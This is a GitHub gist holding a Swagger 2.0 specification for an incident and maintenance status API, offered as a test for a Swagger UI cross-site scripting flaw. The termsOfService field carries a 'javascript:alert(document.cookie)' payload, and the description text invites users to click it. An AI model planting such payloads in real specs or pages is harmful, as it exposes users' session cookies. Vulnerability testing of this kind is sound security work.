Skip to content

Instantly share code, notes, and snippets.

@parzel
Last active June 19, 2020 20:47
Show Gist options
  • Save parzel/fb8b8d5fe43a8489e9f8867bc4c12bb4 to your computer and use it in GitHub Desktop.
Save parzel/fb8b8d5fe43a8489e9f8867bc4c12bb4 to your computer and use it in GitHub Desktop.
This can be used to test for Swagger UI that is still vulnerable to a XSS attack (https://github.com/swagger-api/swagger-ui/issues/3847)
{
"swagger": "2.0",
"info": {
"title": "Swagger Sample App",
"description": "Please to click Terms of service",
"termsOfService": "javascript:alert(document.cookie)",
"version": "1.0.1"
},
"basePath": "/v1",
"schemes": [
"https",
"https"
],
"consumes": [
"application/json"
],
"produces": [
"application/json"
],
"paths": {
"/localizations": {
"x-swagger-router-controller": "localization",
"x-sequelize-model": "Localization",
"get": {
"tags": [
"translation"
],
"description": "Returns object of localized text",
"operationId": "getLocalizations",
"parameters": [
{
"name": "locale",
"in": "query",
"type": "string",
"required": false,
"description": "Two-letter language code ISO 639-1 code.\nIf objects in response have any associated Localizations, the objects\nwill also return fields with localized text.\nDepending on internal configuration, a default may be set.\n"
}
],
"responses": {
"200": {
"description": "Success",
"schema": {
"type": "array",
"items": {
"type": "object",
"required": [
"modelName",
"modelKey",
"modelAttribute"
],
"properties": {
"id": {
"type": "integer"
},
"modelName": {
"type": "string",
"maxLength": 255
},
"modelKey": {
"type": "string",
"maxLength": 255
},
"modelAttribute": {
"type": "string",
"maxLength": 255
},
"LocalizedTexts": {
"type": "array",
"items": {
"type": "object",
"properties": {
"id": {
"type": "integer"
},
"text": {
"type": "string"
},
"code": {
"type": "string",
"maxLength": 10
}
}
}
}
}
}
}
}
}
}
},
"/incidents": {
"x-swagger-router-controller": "incident",
"x-sequelize-model": "Incident",
"get": {
"tags": [
"incidents"
],
"description": "Returns an array of Incident objects. Defaults to last 30 days.",
"operationId": "getIncidents",
"parameters": [
{
"name": "startTime",
"in": "query",
"description": "Start time for Incidents to return (ISO 8601)",
"required": false,
"type": "string",
"format": "date"
},
{
"name": "service",
"in": "query",
"description": "Filter by impacted Services (case insensitive)",
"required": false,
"type": "string"
},
{
"name": "instance",
"in": "query",
"description": "Filter by impacted Instances (case insensitive)",
"required": false,
"type": "string"
},
{
"name": "limit",
"in": "query",
"description": "Limit for pagination",
"required": false,
"type": "number",
"default": 10000,
"maximum": 10000
},
{
"name": "offset",
"in": "query",
"description": "Offset for pagination",
"required": false,
"type": "number",
"default": 0
},
{
"name": "sort",
"in": "query",
"type": "string",
"description": "Sort by property",
"required": false
},
{
"name": "order",
"in": "query",
"type": "string",
"description": "Ordering of property",
"required": false
},
{
"name": "locale",
"in": "query",
"type": "string",
"required": false,
"description": "Two-letter language code ISO 639-1 code.\nIf objects in response have any associated Localizations, the objects\nwill also return fields with localized text.\nDepending on internal configuration, a default may be set.\n"
}
],
"responses": {
"200": {
"description": "Success",
"schema": {
"type": "array",
"items": {
"type": "object",
"required": [
"id"
],
"properties": {
"id": {
"type": "integer"
},
"message": {
"type": [
"object",
"null"
]
},
"externalId": {
"type": [
"string",
"null"
]
},
"affectsAll": {
"type": "boolean"
},
"isCore": {
"type": "boolean"
},
"additionalInformation": {
"type": [
"string",
"null"
]
},
"serviceKeys": {
"type": "array",
"items": {
"type": "string"
}
},
"instanceKeys": {
"type": "array",
"items": {
"type": "string"
}
},
"IncidentImpacts": {
"type": "array",
"items": {
"type": "object",
"required": [
"startTime",
"type"
],
"properties": {
"id": {
"type": "integer"
},
"startTime": {
"type": "string"
},
"endTime": {
"type": [
"string",
"null"
]
},
"serviceIssue": {
"type": "string"
},
"endUserImpact": {
"type": "string"
},
"type": {
"type": "string"
},
"createdAt": {
"type": "string"
},
"updatedAt": {
"type": "string"
}
}
}
},
"IncidentEvents": {
"type": "array",
"items": {
"type": "object",
"required": [
"type"
],
"properties": {
"id": {
"type": "integer"
},
"type": {
"type": "string"
},
"message": {
"type": "string"
},
"createdAt": {
"type": "string"
},
"updatedAt": {
"type": "string"
}
}
}
},
"createdAt": {
"type": "string"
},
"updatedAt": {
"type": "string"
}
}
}
}
}
}
}
},
"/incidents/{id}": {
"x-swagger-router-controller": "incident",
"x-sequelize-model": "Incident",
"get": {
"tags": [
"incidents"
],
"description": "Returns an Incident based on Id.",
"operationId": "getIncidentById",
"parameters": [
{
"name": "id",
"in": "path",
"type": "string",
"description": "Incident id",
"required": true
},
{
"name": "locale",
"in": "query",
"description": "Two-letter language code (ISO 639-1) ",
"required": false,
"type": "string"
}
],
"responses": {
"200": {
"description": "Success",
"schema": {
"type": "object",
"required": [
"id"
],
"properties": {
"id": {
"type": "integer"
},
"message": {
"type": [
"object",
"null"
]
},
"externalId": {
"type": [
"string",
"null"
]
},
"affectsAll": {
"type": "boolean"
},
"isCore": {
"type": "boolean"
},
"additionalInformation": {
"type": [
"string",
"null"
]
},
"serviceKeys": {
"type": "array",
"items": {
"type": "string"
}
},
"instanceKeys": {
"type": "array",
"items": {
"type": "string"
}
},
"IncidentImpacts": {
"type": "array",
"items": {
"type": "object",
"required": [
"startTime",
"type"
],
"properties": {
"id": {
"type": "integer"
},
"startTime": {
"type": "string"
},
"endTime": {
"type": [
"string",
"null"
]
},
"serviceIssue": {
"type": "string"
},
"endUserImpact": {
"type": "string"
},
"type": {
"type": "string"
},
"createdAt": {
"type": "string"
},
"updatedAt": {
"type": "string"
}
}
}
},
"IncidentEvents": {
"type": "array",
"items": {
"type": "object",
"required": [
"type"
],
"properties": {
"id": {
"type": "integer"
},
"type": {
"type": "string"
},
"message": {
"type": "string"
},
"createdAt": {
"type": "string"
},
"updatedAt": {
"type": "string"
}
}
}
},
"createdAt": {
"type": "string"
},
"updatedAt": {
"type": "string"
}
}
}
},
"404": {
"description": "Incident not found",
"schema": {
"type": "object",
"properties": {
"message": {
"type": "string"
}
}
}
}
}
}
},
"/incidents/fields": {
"x-swagger-router-controller": "incidentField",
"x-sequelize-model": "Field",
"get": {
"tags": [
"incidents"
],
"description": "Returns an array of Incident fields.",
"operationId": "getIncidentFields",
"parameters": [
{
"name": "locale",
"in": "query",
"type": "string",
"required": false,
"description": "Two-letter language code ISO 639-1 code.\nIf objects in response have any associated Localizations, the objects\nwill also return fields with localized text.\nDepending on internal configuration, a default may be set.\n"
}
],
"responses": {
"200": {
"description": "Success",
"schema": {
"type": "array",
"items": {
"type": "object",
"required": [
"attribute"
],
"properties": {
"id": {
"type": "integer"
},
"attribute": {
"type": "string"
},
"FieldOptions": {
"type": "array",
"items": {
"type": "object",
"properties": {
"key": {
"type": "string"
},
"visible": {
"type": "boolean",
"default": true
}
}
}
}
}
}
}
}
}
}
},
"/incidents/impactTypes": {
"x-swagger-router-controller": "incidentImpactType",
"x-sequelize-model": "IncidentImpactType",
"get": {
"tags": [
"incidents"
],
"description": "Returns an array of incident imapct type fields.",
"operationId": "getIncidentImpactTypes",
"parameters": [
{
"name": "locale",
"in": "query",
"type": "string",
"required": false,
"description": "Two-letter language code ISO 639-1 code.\nIf objects in response have any associated Localizations, the objects\nwill also return fields with localized text.\nDepending on internal configuration, a default may be set.\n"
}
],
"responses": {
"200": {
"description": "Success",
"schema": {
"type": "array",
"items": {
"type": "object",
"properties": {
"key": {
"type": "string"
},
"severity": {
"type": "string"
}
}
}
}
}
}
}
},
"/incidents/eventTypes": {
"x-swagger-router-controller": "incidentEventType",
"x-sequelize-model": "IncidentEventType",
"get": {
"tags": [
"incidents"
],
"description": "Returns an array of incident imapct type fields.",
"operationId": "getIncidentEventTypes",
"parameters": [
{
"name": "locale",
"in": "query",
"type": "string",
"required": false,
"description": "Two-letter language code ISO 639-1 code.\nIf objects in response have any associated Localizations, the objects\nwill also return fields with localized text.\nDepending on internal configuration, a default may be set.\n"
}
],
"responses": {
"200": {
"description": "Success",
"schema": {
"type": "array",
"items": {
"type": "object",
"properties": {
"key": {
"type": "string"
}
}
}
}
}
}
}
},
"/maintenances": {
"x-swagger-router-controller": "maintenance",
"x-sequelize-model": "Maintenance",
"get": {
"tags": [
"maintenances"
],
"description": "Returns an array of Maintenance objects. Defaults to last 30 days.",
"operationId": "getMaintenances",
"parameters": [
{
"name": "startTime",
"in": "query",
"description": "Start time for Maintenance to return (ISO 8601)",
"required": false,
"type": "string",
"format": "date"
},
{
"name": "service",
"in": "query",
"description": "Filter by impacted Services (case insensitive)",
"required": false,
"type": "string"
},
{
"name": "instance",
"in": "query",
"description": "Filter by impacted Instances (case insensitive)",
"required": false,
"type": "string"
},
{
"name": "name",
"in": "query",
"type": "string",
"description": "Filter by Name (case insensitive)",
"required": false
},
{
"name": "limit",
"in": "query",
"description": "Limit for pagination",
"required": false,
"type": "number",
"default": 10000,
"maximum": 10000
},
{
"name": "offset",
"in": "query",
"description": "Offset for pagination",
"required": false,
"type": "number",
"default": 0
},
{
"name": "sort",
"in": "query",
"type": "string",
"description": "Sort by property",
"required": false
},
{
"name": "order",
"in": "query",
"type": "string",
"description": "Ordering of property",
"required": false
},
{
"name": "locale",
"in": "query",
"type": "string",
"required": false,
"description": "Two-letter language code ISO 639-1 code.\nIf objects in response have any associated Localizations, the objects\nwill also return fields with localized text.\nDepending on internal configuration, a default may be set.\n"
}
],
"responses": {
"200": {
"description": "Success",
"schema": {
"type": "array",
"items": {
"type": "object",
"properties": {
"id": {
"type": "integer"
},
"message": {
"type": [
"object",
"null"
]
},
"externalId": {
"type": [
"string",
"null"
]
},
"name": {
"type": [
"string",
"null"
]
},
"affectsAll": {
"type": "boolean"
},
"isCore": {
"type": "boolean"
},
"plannedStartTime": {
"type": [
"string",
"null"
]
},
"plannedEndTime": {
"type": [
"string",
"null"
]
},
"additionalInformation": {
"type": [
"string",
"null"
]
},
"serviceKeys": {
"type": "array",
"items": {
"type": "string"
}
},
"instanceKeys": {
"type": "array",
"items": {
"type": "string"
}
},
"MaintenanceImpacts": {
"type": "array",
"items": {
"type": "object",
"properties": {
"id": {
"type": "integer"
},
"startTime": {
"type": "string"
},
"endTime": {
"type": [
"string",
"null"
]
},
"type": {
"type": "string"
},
"systemAvailability": {
"type": "string"
},
"createdAt": {
"type": "string"
},
"updatedAt": {
"type": "string"
}
}
}
},
"createdAt": {
"type": "string"
},
"updatedAt": {
"type": "string"
}
}
}
}
}
}
}
},
"/maintenances/{id}": {
"x-swagger-router-controller": "maintenance",
"x-sequelize-model": "Maintenance",
"get": {
"tags": [
"maintenances"
],
"description": "Returns a Maintenance based on Id.",
"operationId": "getMaintenanceById",
"parameters": [
{
"name": "id",
"in": "path",
"type": "string",
"description": "Maintenance id",
"required": true
},
{
"name": "locale",
"in": "query",
"description": "Two-letter language code (ISO 639-1) ",
"required": false,
"type": "string"
}
],
"responses": {
"200": {
"description": "Success",
"schema": {
"type": "object",
"properties": {
"id": {
"type": "integer"
},
"message": {
"type": [
"object",
"null"
]
},
"externalId": {
"type": [
"string",
"null"
]
},
"name": {
"type": [
"string",
"null"
]
},
"affectsAll": {
"type": "boolean"
},
"isCore": {
"type": "boolean"
},
"plannedStartTime": {
"type": [
"string",
"null"
]
},
"plannedEndTime": {
"type": [
"string",
"null"
]
},
"additionalInformation": {
"type": [
"string",
"null"
]
},
"serviceKeys": {
"type": "array",
"items": {
"type": "string"
}
},
"instanceKeys": {
"type": "array",
"items": {
"type": "string"
}
},
"MaintenanceImpacts": {
"type": "array",
"items": {
"type": "object",
"properties": {
"id": {
"type": "integer"
},
"startTime": {
"type": "string"
},
"endTime": {
"type": [
"string",
"null"
]
},
"type": {
"type": "string"
},
"systemAvailability": {
"type": "string"
},
"createdAt": {
"type": "string"
},
"updatedAt": {
"type": "string"
}
}
}
},
"createdAt": {
"type": "string"
},
"updatedAt": {
"type": "string"
}
}
}
},
"404": {
"description": "Maintenance not found",
"schema": {
"type": "object",
"properties": {
"message": {
"type": "string"
}
}
}
}
}
}
},
"/maintenances/fields": {
"x-swagger-router-controller": "maintenanceField",
"x-sequelize-model": "Field",
"get": {
"tags": [
"maintenances"
],
"description": "Returns an array of Maintenance fields.",
"operationId": "getMaintenanceFields",
"parameters": [
{
"name": "locale",
"in": "query",
"type": "string",
"required": false,
"description": "Two-letter language code ISO 639-1 code.\nIf objects in response have any associated Localizations, the objects\nwill also return fields with localized text.\nDepending on internal configuration, a default may be set.\n"
}
],
"responses": {
"200": {
"description": "Success",
"schema": {
"type": "array",
"items": {
"type": "object",
"required": [
"attribute"
],
"properties": {
"id": {
"type": "integer"
},
"attribute": {
"type": "string"
},
"FieldOptions": {
"type": "array",
"items": {
"type": "object",
"properties": {
"key": {
"type": "string"
},
"visible": {
"type": "boolean",
"default": true
}
}
}
}
}
}
}
}
}
}
},
"/maintenances/eventTypes": {
"x-swagger-router-controller": "maintenanceEventType",
"x-sequelize-model": "MaintenanceEventType",
"get": {
"tags": [
"maintenances"
],
"description": "Returns an array of maintenance imapct type fields.",
"operationId": "getMaintenanceEventTypes",
"parameters": [
{
"name": "locale",
"in": "query",
"type": "string",
"required": false,
"description": "Two-letter language code ISO 639-1 code.\nIf objects in response have any associated Localizations, the objects\nwill also return fields with localized text.\nDepending on internal configuration, a default may be set.\n"
}
],
"responses": {
"200": {
"description": "Success",
"schema": {
"type": "array",
"items": {
"type": "object",
"properties": {
"key": {
"type": "string"
}
}
}
}
}
}
}
},
"/generalMessages": {
"x-swagger-router-controller": "generalMessage",
"x-sequelize-model": "GeneralMessage",
"get": {
"tags": [
"generalMessage"
],
"description": "Returns an array of GeneralMessage objects.",
"operationId": "getGeneralMessages",
"parameters": [
{
"name": "limit",
"in": "query",
"description": "Limit for pagination",
"required": false,
"type": "number",
"default": 10000,
"maximum": 10000
},
{
"name": "offset",
"in": "query",
"description": "Offset for pagination",
"required": false,
"type": "number",
"default": 0
}
],
"responses": {
"200": {
"description": "Success",
"schema": {
"type": "array",
"items": {
"type": "object",
"properties": {
"id": {
"type": "integer"
},
"subject": {
"type": "string"
},
"body": {
"type": "string"
},
"startDate": {
"type": "string"
},
"endDate": {
"type": [
"string",
"null"
]
}
}
}
}
}
}
}
},
"/generalMessages/{id}": {
"x-swagger-router-controller": "generalMessage",
"x-sequelize-model": "GeneralMessage",
"get": {
"tags": [
"generalMessage"
],
"description": "Returns a GeneralMessage based on Id.",
"operationId": "getGeneralMessageById",
"parameters": [
{
"name": "id",
"in": "path",
"type": "string",
"description": "GeneralMessage id",
"required": true
}
],
"responses": {
"200": {
"description": "Success",
"schema": {
"type": "object",
"properties": {
"id": {
"type": "integer"
},
"subject": {
"type": "string"
},
"body": {
"type": "string"
},
"startDate": {
"type": "string"
},
"endDate": {
"type": [
"string",
"null"
]
}
}
}
},
"404": {
"description": "GeneralMessage not found",
"schema": {
"type": "object",
"properties": {
"message": {
"type": "string"
}
}
}
}
}
}
},
"/metricValues": {
"x-swagger-router-controller": "metricValue",
"x-sequelize-model": "MetricValue",
"get": {
"tags": [
"metricValue"
],
"description": "Returns an array of MetricValue objects.",
"operationId": "getMetricValue",
"parameters": [
{
"name": "startTime",
"in": "query",
"description": "Start time for metricValue",
"required": false,
"type": "string",
"format": "date"
},
{
"name": "endTime",
"in": "query",
"description": "End time for metricValue",
"required": false,
"type": "string",
"format": "date"
},
{
"name": "metricName",
"in": "query",
"description": "Filter by Name of Metric",
"required": false,
"type": "string"
},
{
"name": "instanceKey",
"in": "query",
"description": "Filter by Instances",
"required": false,
"type": "string"
}
],
"responses": {
"200": {
"description": "Success",
"schema": {
"type": "array",
"items": {
"type": "object",
"properties": {
"metricValueName": {
"type": "string"
},
"value": {
"type": "number",
"format": "double"
},
"timestamp": {
"type": "string"
},
"instanceKey": {
"type": "string"
}
}
}
}
}
}
}
},
"/metricValues/{id}": {
"x-swagger-router-controller": "metricValue",
"x-sequelize-model": "MetricValue",
"get": {
"tags": [
"metricValue"
],
"description": "Returns a MetricValue based on Id.",
"operationId": "getMetricValueById",
"parameters": [
{
"name": "id",
"in": "path",
"type": "string",
"description": "MetricValue Id",
"required": true
}
],
"responses": {
"200": {
"description": "Success",
"schema": {
"type": "object",
"properties": {
"metricValueName": {
"type": "string"
},
"value": {
"type": "number",
"format": "double"
},
"timestamp": {
"type": "string"
},
"instanceKey": {
"type": "string"
}
}
}
},
"404": {
"description": "MetricValue not found",
"schema": {
"type": "object",
"properties": {
"message": {
"type": "string"
}
}
}
}
}
}
},
"/locales": {
"x-swagger-router-controller": "locale",
"x-sequelize-model": "Locale",
"get": {
"tags": [
"locales"
],
"description": "Return all locales",
"operationId": "getLocales",
"parameters": [
{
"name": "locale",
"in": "query",
"type": "string",
"required": false,
"description": "Two-letter language code ISO 639-1 code.\nIf objects in response have any associated Localizations, the objects\nwill also return fields with localized text.\nDepending on internal configuration, a default may be set.\n"
}
],
"responses": {
"200": {
"description": "Success",
"schema": {
"type": "array",
"items": {
"type": "object",
"required": [
"name",
"code"
],
"properties": {
"id": {
"type": "integer"
},
"name": {
"type": "string",
"maxLength": 255
},
"code": {
"type": "string",
"maxLength": 255
}
}
}
}
}
}
}
},
"/services": {
"x-swagger-router-controller": "service",
"x-sequelize-model": "Service",
"get": {
"tags": [
"services"
],
"description": "Return all locales",
"operationId": "getServices",
"parameters": [
{
"name": "locale",
"in": "query",
"type": "string",
"required": false,
"description": "Two-letter language code ISO 639-1 code.\nIf objects in response have any associated Localizations, the objects\nwill also return fields with localized text.\nDepending on internal configuration, a default may be set.\n"
}
],
"responses": {
"200": {
"description": "Success",
"schema": {
"type": "array",
"items": {
"type": "object",
"properties": {
"key": {
"type": "string",
"maxLength": 4098
},
"order": {
"type": [
"integer",
"null"
],
"description": "Order Displayed on the status Timeline."
},
"isCore": {
"type": "boolean",
"description": "Sets if service is a \"core service\" or not."
}
}
}
}
}
}
}
},
"/instances": {
"x-swagger-router-controller": "instance",
"x-sequelize-model": "Instance",
"get": {
"tags": [
"instances"
],
"description": "Return all locales",
"operationId": "getInstances",
"parameters": [
{
"name": "sort",
"in": "query",
"type": "string",
"description": "Sort by property",
"required": false
},
{
"name": "order",
"in": "query",
"type": "string",
"description": "Ordering of property",
"required": false
},
{
"name": "productId",
"in": "query",
"type": "integer",
"description": "Filter by parent product",
"required": false
},
{
"name": "childProducts",
"in": "query",
"type": "boolean",
"description": "Include nested products. productId must be set.",
"default": false,
"required": false
},
{
"name": "locale",
"in": "query",
"type": "string",
"required": false,
"description": "Two-letter language code ISO 639-1 code.\nIf objects in response have any associated Localizations, the objects\nwill also return fields with localized text.\nDepending on internal configuration, a default may be set.\n"
}
],
"responses": {
"200": {
"description": "Success",
"schema": {
"type": "array",
"items": {
"type": "object",
"required": [
"key"
],
"properties": {
"key": {
"type": "string",
"maxLength": 255
},
"location": {
"type": "string",
"maxLength": 255
},
"environment": {
"type": "string",
"maxLength": 255
},
"releaseVersion": {
"type": "string",
"maxLength": 255
},
"releaseNumber": {
"type": "string",
"maxLength": 255
},
"isActive": {
"type": "boolean"
},
"serviceKeys": {
"type": "array",
"items": {
"type": "string"
}
}
}
}
}
}
}
}
},
"/instances/status": {
"x-swagger-router-controller": "instance",
"x-sequelize-model": "Instance",
"get": {
"tags": [
"instances"
],
"description": "DEPRECATED WARNING ROUTE WILL BE REMOVED\nUse /instance/status/preview for overall current status and\ncurrently ongoing incidents, maintenances, and general messages.\nUse /instances/{key}/status for current status and recent\nhistory of incidents, maintenances, and general messages for\nsepcific instance\n\nReturn all instances and associated incidents\n",
"operationId": "getInstanceStatuses",
"parameters": [
{
"name": "productId",
"in": "query",
"type": "integer",
"description": "Filter by parent product",
"required": false
},
{
"name": "childProducts",
"in": "query",
"type": "boolean",
"description": "Include nested products. productId must be set.",
"default": false,
"required": false
},
{
"name": "locale",
"in": "query",
"type": "string",
"required": false,
"description": "Two-letter language code ISO 639-1 code.\nIf objects in response have any associated Localizations, the objects\nwill also return fields with localized text.\nDepending on internal configuration, a default may be set.\n"
}
],
"responses": {
"200": {
"description": "Success",
"schema": {
"type": "array",
"items": {
"type": "object",
"required": [
"key"
],
"properties": {
"key": {
"type": "string",
"maxLength": 255
},
"location": {
"type": "string",
"maxLength": 255
},
"environment": {
"type": "string",
"maxLength": 255
},
"releaseVersion": {
"type": "string",
"maxLength": 255
},
"releaseNumber": {
"type": "string",
"maxLength": 255
},
"status": {
"type": "string",
"description": "A top level status of the instance. If multiple events are ongoing, then provides the most severe.",
"maxLength": 255,
"enum": [
"OK",
"MAJOR_INCIDENT_CORE",
"MINOR_INCIDENT_CORE",
"MAINTENANCE_CORE",
"INFORMATIONAL_CORE",
"MAJOR_INCIDENT_NONCORE",
"MINOR_INCIDENT_NONCORE",
"MAINTENANCE_NONCORE",
"INFORMATIONAL_NONCORE"
]
},
"Incidents": {
"type": "array",
"items": {
"type": "object",
"required": [
"id"
],
"properties": {
"id": {
"type": "integer"
},
"message": {
"type": [
"object",
"null"
]
},
"externalId": {
"type": [
"string",
"null"
]
},
"affectsAll": {
"type": "boolean"
},
"isCore": {
"type": "boolean"
},
"additionalInformation": {
"type": [
"string",
"null"
]
},
"serviceKeys": {
"type": "array",
"items": {
"type": "string"
}
},
"instanceKeys": {
"type": "array",
"items": {
"type": "string"
}
},
"IncidentImpacts": {
"type": "array",
"items": {
"type": "object",
"required": [
"startTime",
"type"
],
"properties": {
"id": {
"type": "integer"
},
"startTime": {
"type": "string"
},
"endTime": {
"type": [
"string",
"null"
]
},
"serviceIssue": {
"type": "string"
},
"endUserImpact": {
"type": "string"
},
"type": {
"type": "string"
},
"createdAt": {
"type": "string"
},
"updatedAt": {
"type": "string"
}
}
}
},
"IncidentEvents": {
"type": "array",
"items": {
"type": "object",
"required": [
"type"
],
"properties": {
"id": {
"type": "integer"
},
"type": {
"type": "string"
},
"message": {
"type": "string"
},
"createdAt": {
"type": "string"
},
"updatedAt": {
"type": "string"
}
}
}
},
"createdAt": {
"type": "string"
},
"updatedAt": {
"type": "string"
}
}
}
},
"Maintenances": {
"type": "array",
"items": {
"type": "object",
"properties": {
"id": {
"type": "integer"
},
"message": {
"type": [
"object",
"null"
]
},
"externalId": {
"type": [
"string",
"null"
]
},
"name": {
"type": [
"string",
"null"
]
},
"affectsAll": {
"type": "boolean"
},
"isCore": {
"type": "boolean"
},
"plannedStartTime": {
"type": [
"string",
"null"
]
},
"plannedEndTime": {
"type": [
"string",
"null"
]
},
"additionalInformation": {
"type": [
"string",
"null"
]
},
"serviceKeys": {
"type": "array",
"items": {
"type": "string"
}
},
"instanceKeys": {
"type": "array",
"items": {
"type": "string"
}
},
"MaintenanceImpacts": {
"type": "array",
"items": {
"type": "object",
"properties": {
"id": {
"type": "integer"
},
"startTime": {
"type": "string"
},
"endTime": {
"type": [
"string",
"null"
]
},
"type": {
"type": "string"
},
"systemAvailability": {
"type": "string"
},
"createdAt": {
"type": "string"
},
"updatedAt": {
"type": "string"
}
}
}
},
"createdAt": {
"type": "string"
},
"updatedAt": {
"type": "string"
}
}
}
},
"GeneralMessages": {
"type": "array",
"items": {
"type": "object",
"properties": {
"id": {
"type": "integer"
},
"subject": {
"type": "string"
},
"body": {
"type": "string"
},
"startDate": {
"type": "string"
},
"endDate": {
"type": [
"string",
"null"
]
}
}
}
}
}
}
}
}
}
}
},
"/instances/status/preview": {
"x-swagger-router-controller": "instance",
"x-sequelize-model": "Instance",
"get": {
"tags": [
"instances"
],
"description": "Return all instances and associated incidents, maintenances, and general messages.\nFor each instance returns a state enum indicating the most\nsevere ongoing event, and if it effects a core service.\n\nStatus Enums\n* OK\n* MAJOR_INCIDENT_CORE\n* MINOR_INCIDENT_CORE\n* MAINTENANCE_CORE\n* INFORMATIONAL_CORE\n* MAJOR_INCIDENT_NONCORE\n* MINOR_INCIDENT_NONCORE\n* MAINTENANCE_NONCORE\n* INFORMATIONAL_NONCORE\n",
"operationId": "getInstanceStatusPreview",
"parameters": [
{
"name": "productId",
"in": "query",
"type": "integer",
"description": "Filter by parent product",
"required": false
},
{
"name": "childProducts",
"in": "query",
"type": "boolean",
"description": "Include nested products. productId must be set.",
"default": false,
"required": false
},
{
"name": "locale",
"in": "query",
"type": "string",
"required": false,
"description": "Two-letter language code ISO 639-1 code.\nIf objects in response have any associated Localizations, the objects\nwill also return fields with localized text.\nDepending on internal configuration, a default may be set.\n"
}
],
"responses": {
"200": {
"description": "Success",
"schema": {
"type": "array",
"items": {
"type": "object",
"required": [
"key"
],
"properties": {
"key": {
"type": "string",
"maxLength": 255
},
"location": {
"type": "string",
"maxLength": 255
},
"environment": {
"type": "string",
"maxLength": 255
},
"releaseVersion": {
"type": "string",
"maxLength": 255
},
"releaseNumber": {
"type": "string",
"maxLength": 255
},
"status": {
"type": "string",
"description": "A top level status of the instance. If multiple events are ongoing, then provides the most severe.",
"maxLength": 255,
"enum": [
"OK",
"MAJOR_INCIDENT_CORE",
"MINOR_INCIDENT_CORE",
"MAINTENANCE_CORE",
"INFORMATIONAL_CORE",
"MAJOR_INCIDENT_NONCORE",
"MINOR_INCIDENT_NONCORE",
"MAINTENANCE_NONCORE",
"INFORMATIONAL_NONCORE"
]
},
"Incidents": {
"type": "array",
"items": {
"type": "object",
"required": [
"id"
],
"properties": {
"id": {
"type": "integer"
},
"message": {
"type": [
"object",
"null"
]
},
"externalId": {
"type": [
"string",
"null"
]
},
"affectsAll": {
"type": "boolean"
},
"isCore": {
"type": "boolean"
},
"additionalInformation": {
"type": [
"string",
"null"
]
},
"serviceKeys": {
"type": "array",
"items": {
"type": "string"
}
},
"instanceKeys": {
"type": "array",
"items": {
"type": "string"
}
},
"IncidentImpacts": {
"type": "array",
"items": {
"type": "object",
"required": [
"startTime",
"type"
],
"properties": {
"id": {
"type": "integer"
},
"startTime": {
"type": "string"
},
"endTime": {
"type": [
"string",
"null"
]
},
"serviceIssue": {
"type": "string"
},
"endUserImpact": {
"type": "string"
},
"type": {
"type": "string"
},
"createdAt": {
"type": "string"
},
"updatedAt": {
"type": "string"
}
}
}
},
"IncidentEvents": {
"type": "array",
"items": {
"type": "object",
"required": [
"type"
],
"properties": {
"id": {
"type": "integer"
},
"type": {
"type": "string"
},
"message": {
"type": "string"
},
"createdAt": {
"type": "string"
},
"updatedAt": {
"type": "string"
}
}
}
},
"createdAt": {
"type": "string"
},
"updatedAt": {
"type": "string"
}
}
}
},
"Maintenances": {
"type": "array",
"items": {
"type": "object",
"properties": {
"id": {
"type": "integer"
},
"message": {
"type": [
"object",
"null"
]
},
"externalId": {
"type": [
"string",
"null"
]
},
"name": {
"type": [
"string",
"null"
]
},
"affectsAll": {
"type": "boolean"
},
"isCore": {
"type": "boolean"
},
"plannedStartTime": {
"type": [
"string",
"null"
]
},
"plannedEndTime": {
"type": [
"string",
"null"
]
},
"additionalInformation": {
"type": [
"string",
"null"
]
},
"serviceKeys": {
"type": "array",
"items": {
"type": "string"
}
},
"instanceKeys": {
"type": "array",
"items": {
"type": "string"
}
},
"MaintenanceImpacts": {
"type": "array",
"items": {
"type": "object",
"properties": {
"id": {
"type": "integer"
},
"startTime": {
"type": "string"
},
"endTime": {
"type": [
"string",
"null"
]
},
"type": {
"type": "string"
},
"systemAvailability": {
"type": "string"
},
"createdAt": {
"type": "string"
},
"updatedAt": {
"type": "string"
}
}
}
},
"createdAt": {
"type": "string"
},
"updatedAt": {
"type": "string"
}
}
}
},
"GeneralMessages": {
"type": "array",
"items": {
"type": "object",
"properties": {
"id": {
"type": "integer"
},
"subject": {
"type": "string"
},
"body": {
"type": "string"
},
"startDate": {
"type": "string"
},
"endDate": {
"type": [
"string",
"null"
]
}
}
}
}
}
}
}
}
}
}
},
"/instances/{key}/status/preview": {
"x-swagger-router-controller": "instance",
"x-sequelize-model": "Instance",
"get": {
"tags": [
"instances"
],
"description": "Rerurn an instance with associated incidents, maintenances, and general messages.\nFor a given instance returns a state enum indicating the most\nsevere ongoing event, and if it effects a core service.\n\nStatus Enums\n* OK\n* MAJOR_INCIDENT_CORE\n* MINOR_INCIDENT_CORE\n* MAINTENANCE_CORE\n* INFORMATIONAL_CORE\n* MAJOR_INCIDENT_NONCORE\n* MINOR_INCIDENT_NONCORE\n* MAINTENANCE_NONCORE\n* INFORMATIONAL_NONCORE\n",
"operationId": "getInstanceStatusPreviewByKey",
"parameters": [
{
"name": "key",
"in": "path",
"description": "Instance Key",
"required": true,
"type": "string"
},
{
"name": "productId",
"in": "query",
"type": "integer",
"description": "Filter by parent product",
"required": false
},
{
"name": "childProducts",
"in": "query",
"type": "boolean",
"description": "Include nested products. productId must be set.",
"default": false,
"required": false
},
{
"name": "locale",
"in": "query",
"type": "string",
"required": false,
"description": "Two-letter language code ISO 639-1 code.\nIf objects in response have any associated Localizations, the objects\nwill also return fields with localized text.\nDepending on internal configuration, a default may be set.\n"
}
],
"responses": {
"200": {
"description": "Success",
"schema": {
"type": "array",
"items": {
"type": "object",
"required": [
"key"
],
"properties": {
"key": {
"type": "string",
"maxLength": 255
},
"location": {
"type": "string",
"maxLength": 255
},
"environment": {
"type": "string",
"maxLength": 255
},
"releaseVersion": {
"type": "string",
"maxLength": 255
},
"releaseNumber": {
"type": "string",
"maxLength": 255
},
"status": {
"type": "string",
"description": "A top level status of the instance. If multiple events are ongoing, then provides the most severe.",
"maxLength": 255,
"enum": [
"OK",
"MAJOR_INCIDENT_CORE",
"MINOR_INCIDENT_CORE",
"MAINTENANCE_CORE",
"INFORMATIONAL_CORE",
"MAJOR_INCIDENT_NONCORE",
"MINOR_INCIDENT_NONCORE",
"MAINTENANCE_NONCORE",
"INFORMATIONAL_NONCORE"
]
},
"Incidents": {
"type": "array",
"items": {
"type": "object",
"required": [
"id"
],
"properties": {
"id": {
"type": "integer"
},
"message": {
"type": [
"object",
"null"
]
},
"externalId": {
"type": [
"string",
"null"
]
},
"affectsAll": {
"type": "boolean"
},
"isCore": {
"type": "boolean"
},
"additionalInformation": {
"type": [
"string",
"null"
]
},
